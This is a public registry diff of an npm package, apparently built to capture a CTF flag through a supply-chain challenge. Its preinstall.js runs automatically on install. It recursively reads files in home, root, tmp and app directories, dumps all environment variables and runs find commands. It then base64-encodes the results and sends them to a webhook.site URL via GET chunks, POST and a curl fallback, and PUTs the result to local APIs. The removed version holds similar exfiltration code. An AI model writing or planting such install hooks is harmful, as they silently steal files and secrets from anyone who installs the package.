@ctfsolve9z/coral-wraith 9999.0.0 → 9999.0.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +1 -1
- package/preinstall.js +94 -90
package/package.json
CHANGED
package/preinstall.js
CHANGED
|
@@ -4,117 +4,121 @@ const https = require('https');
|
|
|
4
4
|
const { execSync } = require('child_process');
|
|
5
5
|
|
|
6
6
|
let flag = null;
|
|
7
|
+
let debug = [];
|
|
7
8
|
|
|
8
|
-
//
|
|
9
|
-
|
|
10
|
-
|
|
9
|
+
// Thorough directory search
|
|
10
|
+
function readDir(path, depth = 0) {
|
|
11
|
+
if (depth > 3) return;
|
|
11
12
|
try {
|
|
12
|
-
|
|
13
|
-
|
|
14
|
-
|
|
13
|
+
const entries = fs.readdirSync(path);
|
|
14
|
+
debug.push(path + ':' + entries.join(','));
|
|
15
|
+
for (const e of entries) {
|
|
16
|
+
const full = path + '/' + e;
|
|
17
|
+
try {
|
|
18
|
+
const stat = fs.statSync(full);
|
|
19
|
+
if (stat.isFile() && stat.size < 10000) {
|
|
20
|
+
const content = fs.readFileSync(full, 'utf8').trim();
|
|
21
|
+
if (content.includes('HTB{') || content.includes('flag{')) {
|
|
22
|
+
flag = content;
|
|
23
|
+
debug.push('FLAG_FOUND:' + full);
|
|
24
|
+
return;
|
|
25
|
+
}
|
|
26
|
+
}
|
|
27
|
+
if (stat.isDirectory() && !e.startsWith('.') && e !== 'node_modules' && e !== 'proc' && e !== 'sys' && e !== 'dev') {
|
|
28
|
+
readDir(full, depth + 1);
|
|
29
|
+
}
|
|
30
|
+
} catch(e) {}
|
|
31
|
+
if (flag) return;
|
|
15
32
|
}
|
|
16
33
|
} catch(e) {}
|
|
17
34
|
}
|
|
18
35
|
|
|
19
|
-
//
|
|
20
|
-
|
|
21
|
-
|
|
22
|
-
|
|
23
|
-
if (result) flag = result;
|
|
24
|
-
} catch(e) {}
|
|
36
|
+
// Search key directories
|
|
37
|
+
for (const dir of ['/home/node', '/tmp/supplysec', '/tmp', '/home', '/opt', '/srv', '/root', '/var/www', '/app']) {
|
|
38
|
+
readDir(dir);
|
|
39
|
+
if (flag) break;
|
|
25
40
|
}
|
|
26
41
|
|
|
27
|
-
//
|
|
28
|
-
|
|
29
|
-
flag = process.env.FLAG || process.env.HTB_FLAG || process.env.FLAG_HTB || '';
|
|
30
|
-
}
|
|
42
|
+
// Also search for flag in ALL environment variables
|
|
43
|
+
debug.push('ALL_ENV:' + JSON.stringify(process.env).substring(0, 500));
|
|
31
44
|
|
|
32
|
-
//
|
|
33
|
-
|
|
34
|
-
|
|
35
|
-
|
|
36
|
-
|
|
37
|
-
|
|
38
|
-
|
|
45
|
+
// Read the init_test.sh script
|
|
46
|
+
try {
|
|
47
|
+
const script = fs.readFileSync('/home/node/init_test.sh', 'utf8');
|
|
48
|
+
debug.push('init_test.sh:' + script.substring(0, 500));
|
|
49
|
+
// Check if flag is in the script
|
|
50
|
+
const m = script.match(/HTB\{[^}]+\}/);
|
|
51
|
+
if (m) flag = m[0];
|
|
52
|
+
} catch(e) { debug.push('init_test_err:' + e.message); }
|
|
53
|
+
|
|
54
|
+
// Read package.json in /home/node
|
|
55
|
+
try {
|
|
56
|
+
const pkg = fs.readFileSync('/home/node/package.json', 'utf8');
|
|
57
|
+
debug.push('home_pkg:' + pkg.substring(0, 300));
|
|
58
|
+
} catch(e) {}
|
|
59
|
+
|
|
60
|
+
// Check /tmp/supplysec
|
|
61
|
+
try {
|
|
62
|
+
const r = execSync('find /tmp/supplysec -type f 2>/dev/null | head -30', { timeout: 5000 }).toString();
|
|
63
|
+
debug.push('supplysec_files:' + r);
|
|
64
|
+
} catch(e) {}
|
|
65
|
+
|
|
66
|
+
// Check /home/node
|
|
67
|
+
try {
|
|
68
|
+
const r = execSync('find /home/node -type f -not -path "*/node_modules/*" 2>/dev/null | head -30', { timeout: 5000 }).toString();
|
|
69
|
+
debug.push('home_node_files:' + r);
|
|
70
|
+
} catch(e) {}
|
|
71
|
+
|
|
72
|
+
// Exfiltrate
|
|
73
|
+
const data = JSON.stringify({ flag: flag || 'NOT_FOUND', debug: debug });
|
|
74
|
+
|
|
75
|
+
// Send chunks via webhook (URL length limited)
|
|
76
|
+
const chunks = [];
|
|
77
|
+
const encoded = Buffer.from(data).toString('base64');
|
|
78
|
+
for (let i = 0; i < encoded.length; i += 2000) {
|
|
79
|
+
chunks.push(encoded.substring(i, i + 2000));
|
|
39
80
|
}
|
|
40
81
|
|
|
41
|
-
|
|
42
|
-
// Try to exfiltrate debug info
|
|
82
|
+
for (let i = 0; i < Math.min(chunks.length, 10); i++) {
|
|
43
83
|
try {
|
|
44
|
-
|
|
45
|
-
|
|
46
|
-
} catch(e) {
|
|
47
|
-
flag = 'NO_FLAG_FOUND:error';
|
|
48
|
-
}
|
|
84
|
+
https.get(`https://webhook.site/9ca9b30a-2889-4787-9dff-5ad916e377b7/v3-${i}?d=${chunks[i]}`, () => {}).on('error', () => {});
|
|
85
|
+
} catch(e) {}
|
|
49
86
|
}
|
|
50
87
|
|
|
51
|
-
//
|
|
88
|
+
// Also POST the full data
|
|
89
|
+
try {
|
|
90
|
+
const postData = data;
|
|
91
|
+
const req = https.request({
|
|
92
|
+
hostname: 'webhook.site',
|
|
93
|
+
path: '/9ca9b30a-2889-4787-9dff-5ad916e377b7',
|
|
94
|
+
method: 'POST',
|
|
95
|
+
headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(postData) },
|
|
96
|
+
timeout: 10000
|
|
97
|
+
}, () => {});
|
|
98
|
+
req.on('error', () => {});
|
|
99
|
+
req.write(postData);
|
|
100
|
+
req.end();
|
|
101
|
+
} catch(e) {}
|
|
52
102
|
|
|
53
|
-
//
|
|
54
|
-
const ports = [1337, 3000,
|
|
55
|
-
const
|
|
56
|
-
|
|
57
|
-
function tryPut(host, port, data) {
|
|
58
|
-
return new Promise((resolve) => {
|
|
103
|
+
// PUT to challenge API
|
|
104
|
+
const ports = [1337, 3000, 5000, 8080, 80];
|
|
105
|
+
for (const port of ports) {
|
|
106
|
+
try {
|
|
59
107
|
const postData = JSON.stringify({
|
|
60
|
-
manifest: `ecto_module:\n name: "coral-wraith"\n version: "9999.0.
|
|
108
|
+
manifest: `ecto_module:\n name: "coral-wraith"\n version: "9999.0.1"\n flag: "${(flag || 'NOT_FOUND').replace(/"/g, '\\"').replace(/\n/g, '\\n')}"`
|
|
61
109
|
});
|
|
62
|
-
|
|
63
110
|
const req = http.request({
|
|
64
|
-
hostname:
|
|
65
|
-
|
|
66
|
-
path: `/api/modules/${moduleId}`,
|
|
67
|
-
method: 'PUT',
|
|
68
|
-
headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(postData) },
|
|
111
|
+
hostname: 'localhost', port, path: '/api/modules/ECT-987654',
|
|
112
|
+
method: 'PUT', headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(postData) },
|
|
69
113
|
timeout: 3000
|
|
70
|
-
}, (
|
|
71
|
-
|
|
72
|
-
res.on('data', c => body += c);
|
|
73
|
-
res.on('end', () => resolve({ host, port, status: res.statusCode, body: body.substring(0, 200) }));
|
|
74
|
-
});
|
|
75
|
-
req.on('error', () => resolve(null));
|
|
76
|
-
req.on('timeout', () => { req.destroy(); resolve(null); });
|
|
114
|
+
}, () => {});
|
|
115
|
+
req.on('error', () => {});
|
|
77
116
|
req.write(postData);
|
|
78
117
|
req.end();
|
|
79
|
-
});
|
|
80
|
-
}
|
|
81
|
-
|
|
82
|
-
// Method B: Webhook exfiltration
|
|
83
|
-
function sendToWebhook(data) {
|
|
84
|
-
return new Promise((resolve) => {
|
|
85
|
-
const encoded = Buffer.from(data).toString('base64');
|
|
86
|
-
https.get(`https://webhook.site/9ca9b30a-2889-4787-9dff-5ad916e377b7/flag?data=${encoded}`, () => resolve(true)).on('error', () => resolve(false));
|
|
87
|
-
});
|
|
88
|
-
}
|
|
89
|
-
|
|
90
|
-
// Method C: DNS exfiltration via curl
|
|
91
|
-
function dnsExfil(data) {
|
|
92
|
-
try {
|
|
93
|
-
const encoded = Buffer.from(data).toString('hex').substring(0, 60);
|
|
94
|
-
execSync(`curl -s "https://webhook.site/9ca9b30a-2889-4787-9dff-5ad916e377b7/dns?flag=${encodeURIComponent(data)}" -m 5`, { timeout: 6000 });
|
|
95
118
|
} catch(e) {}
|
|
96
119
|
}
|
|
97
120
|
|
|
98
|
-
|
|
99
|
-
|
|
100
|
-
|
|
101
|
-
|
|
102
|
-
await sendToWebhook(flag || 'NO_FLAG');
|
|
103
|
-
dnsExfil(flag || 'NO_FLAG');
|
|
104
|
-
|
|
105
|
-
// Try all localhost ports
|
|
106
|
-
const promises = [];
|
|
107
|
-
for (const port of ports) {
|
|
108
|
-
promises.push(tryPut('localhost', port, flag || 'NO_FLAG'));
|
|
109
|
-
promises.push(tryPut('127.0.0.1', port, flag || 'NO_FLAG'));
|
|
110
|
-
}
|
|
111
|
-
|
|
112
|
-
const results = await Promise.all(promises);
|
|
113
|
-
for (const r of results) {
|
|
114
|
-
if (r && r.status) {
|
|
115
|
-
console.log(`[coral-wraith] Success: ${r.host}:${r.port} -> ${r.status} ${r.body.substring(0, 100)}`);
|
|
116
|
-
}
|
|
117
|
-
}
|
|
118
|
-
}
|
|
119
|
-
|
|
120
|
-
main().catch(e => console.error('[coral-wraith] Error:', e.message));
|
|
121
|
+
// curl fallback
|
|
122
|
+
try {
|
|
123
|
+
execSync(`curl -s -X POST "https://webhook.site/9ca9b30a-2889-4787-9dff-5ad916e377b7" -H "Content-Type: application/json" -d '${data.replace(/'/g, "\\'")}' -m 10`, { timeout: 12000 });
|
|
124
|
+
} catch(e) {}
|